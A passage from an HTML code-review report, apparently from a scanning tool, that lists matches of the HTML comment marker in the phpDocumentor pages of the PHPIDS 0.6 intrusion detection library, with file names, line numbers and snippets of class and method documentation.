public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Filter.html</span>:<span class='line_number'>5</span> <span class='match_count'>(207/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 3- <html xmlns="http://www.w3.org/1999/xhtml"> 4- <head> 5: <span class='match_highlight'><!--</span> template designed by Marco Von Ballmoos --> 6- <title>Docs For Class IDS_Filter</title> 7- <link rel="stylesheet" href="../media/stylesheet.css" /> 8- <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Filter.html</span>:<span class='line_number'>24</span> <span class='match_count'>(208/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>21- 22- </div> 23- <div class="info-box-body"> 24: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 25-<p class="short-description">PHPIDS Filter object</p> 26-<p class="description"><p>Each object of this class serves as a container for a specific filter. The object provides methods to get information about this particular filter and also to match an arbitrary string against it.</p></p> 27- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Filter.html</span>:<span class='line_number'>146</span> <span class='match_count'>(209/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>143- 144- </div> 145- <div class="info-box-body"> 146: <a name="var$description" id="$description"><span class='match_highlight'><!--</span> --></A> 147-<div class="oddrow"> 148- 149- <div class="var-header"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Filter.html</span>:<span class='line_number'>157</span> <span class='match_count'>(210/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>154- </span> 155- </div> 156- 157: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 158-<p class="short-description">Filter description</p> 159- <ul class="tags"> 160- <li><span class="field">access:</span> protected</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Filter.html</span>:<span class='line_number'>168</span> <span class='match_count'>(211/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>165- 166- 167-</div> 168:<a name="var$impact" id="$impact"><span class='match_highlight'><!--</span> --></A> 169-<div class="evenrow"> 170- 171- <div class="var-header"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Filter.html</span>:<span class='line_number'>179</span> <span class='match_count'>(212/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>176- </span> 177- </div> 178- 179: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 180-<p class="short-description">Filter impact level</p> 181- <ul class="tags"> 182- <li><span class="field">access:</span> protected</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Filter.html</span>:<span class='line_number'>190</span> <span class='match_count'>(213/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>187- 188- 189-</div> 190:<a name="var$rule" id="$rule"><span class='match_highlight'><!--</span> --></A> 191-<div class="oddrow"> 192- 193- <div class="var-header"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Filter.html</span>:<span class='line_number'>201</span> <span class='match_count'>(214/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>198- </span> 199- </div> 200- 201: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 202-<p class="short-description">Filter rule</p> 203- <ul class="tags"> 204- <li><span class="field">access:</span> protected</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Filter.html</span>:<span class='line_number'>212</span> <span class='match_count'>(215/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>209- 210- 211-</div> 212:<a name="var$tags" id="$tags"><span class='match_highlight'><!--</span> --></A> 213-<div class="evenrow"> 214- 215- <div class="var-header"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Filter.html</span>:<span class='line_number'>223</span> <span class='match_count'>(216/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>220- </span> 221- </div> 222- 223: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 224-<p class="short-description">List of tags of the filter</p> 225- <ul class="tags"> 226- <li><span class="field">access:</span> protected</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Filter.html</span>:<span class='line_number'>250</span> <span class='match_count'>(217/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>247- <div class="info-box-body"> 248- <A NAME='method_detail'></A> 249- 250:<a name="method__construct" id="__construct"><span class='match_highlight'><!--</span> --></a> 251-<div class="oddrow"> 252- 253- <div class="method-header"> 254- <span class="method-title">Constructor __construct</span> (line <span class="line-number">93</span>) 255- </div> 256- 257: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 258-<p class="short-description">Constructor</p> 259- <ul class="tags"> 260- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Filter.html</span>:<span class='line_number'>291</span> <span class='match_count'>(218/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>288- 289- 290- </div> 291:<a name="methodgetDescription" id="getDescription"><span class='match_highlight'><!--</span> --></a> 292-<div class="evenrow"> 293- 294- <div class="method-header"> 295- <span class="method-title">getDescription</span> (line <span class="line-number">131</span>) 296- </div> 297- 298: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 299-<p class="short-description">Returns filter description</p> 300- <ul class="tags"> 301- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Filter.html</span>:<span class='line_number'>315</span> <span class='match_count'>(219/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>312- 313- 314- </div> 315:<a name="methodgetId" id="getId"><span class='match_highlight'><!--</span> --></a> 316-<div class="oddrow"> 317- 318- <div class="method-header"> 319- <span class="method-title">getId</span> (line <span class="line-number">174</span>) 320- </div> 321- 322: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 323-<p class="short-description">Get filter ID</p> 324- <ul class="tags"> 325- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Filter.html</span>:<span class='line_number'>339</span> <span class='match_count'>(220/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>336- 337- 338- </div> 339:<a name="methodgetImpact" id="getImpact"><span class='match_highlight'><!--</span> --></a> 340-<div class="evenrow"> 341- 342- <div class="method-header"> 343- <span class="method-title">getImpact</span> (line <span class="line-number">164</span>) 344- </div> 345- 346: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 347-<p class="short-description">Get filter impact level</p> 348- <ul class="tags"> 349- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Filter.html</span>:<span class='line_number'>363</span> <span class='match_count'>(221/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>360- 361- 362- </div> 363:<a name="methodgetRule" id="getRule"><span class='match_highlight'><!--</span> --></a> 364-<div class="oddrow"> 365- 366- <div class="method-header"> 367- <span class="method-title">getRule</span> (line <span class="line-number">154</span>) 368- </div> 369- 370: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 371-<p class="short-description">Returns filter rule</p> 372- <ul class="tags"> 373- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Filter.html</span>:<span class='line_number'>387</span> <span class='match_count'>(222/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>384- 385- 386- </div> 387:<a name="methodgetTags" id="getTags"><span class='match_highlight'><!--</span> --></a> 388-<div class="evenrow"> 389- 390- <div class="method-header"> 391- <span class="method-title">getTags</span> (line <span class="line-number">144</span>) 392- </div> 393- 394: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 395-<p class="short-description">Return list of affected tags</p> 396-<p class="description"><p>Each filter rule is concerned with a certain kind of attack vectors. This method returns those affected kinds.</p></p> 397- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Filter.html</span>:<span class='line_number'>412</span> <span class='match_count'>(223/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>409- 410- 411- </div> 412:<a name="methodmatch" id="match"><span class='match_highlight'><!--</span> --></a> 413-<div class="oddrow"> 414- 415- <div class="method-header"> 416- <span class="method-title">match</span> (line <span class="line-number">113</span>) 417- </div> 418- 419: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 420-<p class="short-description">Matches a string against current filter</p> 421-<p class="description"><p>Matches given string against the filter rule the specific object of this class represents</p></p> 422- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Log_Composite.html</span>:<span class='line_number'>5</span> <span class='match_count'>(224/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 3- <html xmlns="http://www.w3.org/1999/xhtml"> 4- <head> 5: <span class='match_highlight'><!--</span> template designed by Marco Von Ballmoos --> 6- <title>Docs For Class IDS_Log_Composite</title> 7- <link rel="stylesheet" href="../media/stylesheet.css" /> 8- <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Log_Composite.html</span>:<span class='line_number'>24</span> <span class='match_count'>(225/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>21- 22- </div> 23- <div class="info-box-body"> 24: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 25-<p class="short-description">Log Composite</p> 26-<p class="description"><p>This class implements the composite pattern to allow to work with multiple logging wrappers at once.</p></p> 27- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Log_Composite.html</span>:<span class='line_number'>113</span> <span class='match_count'>(226/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>110- 111- </div> 112- <div class="info-box-body"> 113: <a name="var$loggers" id="$loggers"><span class='match_highlight'><!--</span> --></A> 114-<div class="evenrow"> 115- 116- <div class="var-header"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Log_Composite.html</span>:<span class='line_number'>124</span> <span class='match_count'>(227/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>121- </span> 122- </div> 123- 124: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 125-<p class="short-description">Holds registered logging wrapper</p> 126- <ul class="tags"> 127- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Log_Composite.html</span>:<span class='line_number'>151</span> <span class='match_count'>(228/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>148- <div class="info-box-body"> 149- <A NAME='method_detail'></A> 150- 151:<a name="methodaddLogger" id="addLogger"><span class='match_highlight'><!--</span> --></a> 152-<div class="oddrow"> 153- 154- <div class="method-header"> 155- <span class="method-title">addLogger</span> (line <span class="line-number">84</span>) 156- </div> 157- 158: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 159-<p class="short-description">Registers a new logging wrapper</p> 160-<p class="description"><p>Only valid IDS_Log_Interface instances passed to this function will be registered</p></p> 161- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Log_Composite.html</span>:<span class='line_number'>176</span> <span class='match_count'>(229/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>173- 174- 175- </div> 176:<a name="methodexecute" id="execute"><span class='match_highlight'><!--</span> --></a> 177-<div class="evenrow"> 178- 179- <div class="method-header"> 180- <span class="method-title">execute</span> (line <span class="line-number">69</span>) 181- </div> 182- 183: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 184-<p class="short-description">Iterates through registered loggers and executes them</p> 185- <ul class="tags"> 186- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Log_Composite.html</span>:<span class='line_number'>205</span> <span class='match_count'>(230/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>202- 203- 204- </div> 205:<a name="methodremoveLogger" id="removeLogger"><span class='match_highlight'><!--</span> --></a> 206-<div class="oddrow"> 207- 208- <div class="method-header"> 209- <span class="method-title">removeLogger</span> (line <span class="line-number">104</span>) 210- </div> 211- 212: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 213-<p class="short-description">Removes a logger</p> 214- <ul class="tags"> 215- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Log_Interface.html</span>:<span class='line_number'>5</span> <span class='match_count'>(231/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 3- <html xmlns="http://www.w3.org/1999/xhtml"> 4- <head> 5: <span class='match_highlight'><!--</span> template designed by Marco Von Ballmoos --> 6- <title>Docs For Class IDS_Log_Interface</title> 7- <link rel="stylesheet" href="../media/stylesheet.css" /> 8- <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Log_Interface.html</span>:<span class='line_number'>23</span> <span class='match_count'>(232/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>20- 21- </div> 22- <div class="info-box-body"> 23: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 24-<p class="short-description">Interface for logging wrappers</p> 25- <ul class="tags"> 26- <li><span class="field">author:</span> Lars Strojny &lt;<a href="mailto:lars@strojny.net">lars@strojny.net</a>&gt;</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Log_Interface.html</span>:<span class='line_number'>78</span> <span class='match_count'>(233/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>75- <div class="info-box-body"> 76- <A NAME='method_detail'></A> 77- 78:<a name="methodexecute" id="execute"><span class='match_highlight'><!--</span> --></a> 79-<div class="evenrow"> 80- 81- <div class="method-header"> 82- <span class="method-title">execute</span> (line <span class="line-number">56</span>) 83- </div> 84- 85: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 86-<p class="short-description">Interface method</p> 87- <ul class="tags"> 88- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Event.php.html</span>:<span class='line_number'>5</span> <span class='match_count'>(234/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 3- <html xmlns="http://www.w3.org/1999/xhtml"> 4- <head> 5: <span class='match_highlight'><!--</span> template designed by Marco Von Ballmoos --> 6- <title>Docs for page Event.php</title> 7- <link rel="stylesheet" href="../media/stylesheet.css" /> 8- <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Event.php.html</span>:<span class='line_number'>22</span> <span class='match_count'>(235/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>19- <a href="#sec-classes">Classes</a> 20- </div> 21- <div class="info-box-body"> 22: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 23-<p class="short-description">PHPIDS</p> 24-<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (http://php-ids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see &lt;http://www.gnu.org/licenses/&gt;.</p><p>PHP version 5.1.6+</p></p> 25- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Converter.html</span>:<span class='line_number'>5</span> <span class='match_count'>(236/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 3- <html xmlns="http://www.w3.org/1999/xhtml"> 4- <head> 5: <span class='match_highlight'><!--</span> template designed by Marco Von Ballmoos --> 6- <title>Docs For Class IDS_Converter</title> 7- <link rel="stylesheet" href="../media/stylesheet.css" /> 8- <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Converter.html</span>:<span class='line_number'>23</span> <span class='match_count'>(237/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>20- 21- </div> 22- <div class="info-box-body"> 23: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 24-<p class="short-description">PHPIDS specific utility class to convert charsets manually</p> 25-<p class="description"><p>Note that if you make use of IDS_Converter::runAll(), existing class methods will be executed in the same order as they are implemented in the class tree!</p></p> 26- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Converter.html</span>:<span class='line_number'>163</span> <span class='match_count'>(238/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>160- </div> 161- <div class="info-box-body"> 162- <A NAME='method_detail'></A> 163:<a name="methodconvertConcatenations" id="convertConcatenations"><span class='match_highlight'><!--</span> --></a> 164-<div class="evenrow"> 165- 166- <div class="method-header"> 167- <span class="method-title">static method convertConcatenations</span> (line <span class="line-number">506</span>) 168- </div> 169- 170: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 171-<p class="short-description">Converts basic concatenations</p> 172- <ul class="tags"> 173- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Converter.html</span>:<span class='line_number'>193</span> <span class='match_count'>(239/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>190- 191- 192- </div> 193:<a name="methodconvertEntities" id="convertEntities"><span class='match_highlight'><!--</span> --></a> 194-<div class="oddrow"> 195- 196- <div class="method-header"> 197- <span class="method-title">static method convertEntities</span> (line <span class="line-number">229</span>) 198- </div> 199- 200: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 201-<p class="short-description">Converts from hex/dec entities</p> 202- <ul class="tags"> 203- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Converter.html</span>:<span class='line_number'>223</span> <span class='match_count'>(240/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>220- 221- 222- </div> 223:<a name="methodconvertFromCommented" id="convertFromCommented"><span class='match_highlight'><!--</span> --></a> 224-<div class="evenrow"> 225- 226- <div class="method-header"> 227- <span class="method-title">static method convertFromCommented</span> (line <span class="line-number">86</span>) 228- </div> 229- 230: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 231-<p class="short-description">Check for comments and erases them if available</p> 232- <ul class="tags"> 233- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Converter.html</span>:<span class='line_number'>253</span> <span class='match_count'>(241/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>250- 251- 252- </div> 253:<a name="methodconvertFromControlChars" id="convertFromControlChars"><span class='match_highlight'><!--</span> --></a> 254-<div class="oddrow"> 255- 256- <div class="method-header"> 257- <span class="method-title">static method convertFromControlChars</span> (line <span class="line-number">321</span>) 258- </div> 259- 260: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 261-<p class="short-description">Detects nullbytes and controls chars via ord()</p> 262- <ul class="tags"> 263- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Converter.html</span>:<span class='line_number'>283</span> <span class='match_count'>(242/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>280- 281- 282- </div> 283:<a name="methodconvertFromJSCharcode" id="convertFromJSCharcode"><span class='match_highlight'><!--</span> --></a> 284-<div class="evenrow"> 285- 286- <div class="method-header"> 287- <span class="method-title">static method convertFromJSCharcode</span> (line <span class="line-number">134</span>) 288- </div> 289- 290: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 291-<p class="short-description">Checks for common charcode pattern and decodes them</p> 292- <ul class="tags"> 293- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Converter.html</span>:<span class='line_number'>313</span> <span class='match_count'>(243/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>310- 311- 312- </div> 313:<a name="methodconvertFromJSUnicode" id="convertFromJSUnicode"><span class='match_highlight'><!--</span> --></a> 314-<div class="oddrow"> 315- 316- <div class="method-header"> 317- <span class="method-title">static method convertFromJSUnicode</span> (line <span class="line-number">422</span>) 318- </div> 319- 320: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 321-<p class="short-description">This method converts JS unicode code points to regular characters</p> 322- <ul class="tags"> 323- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div 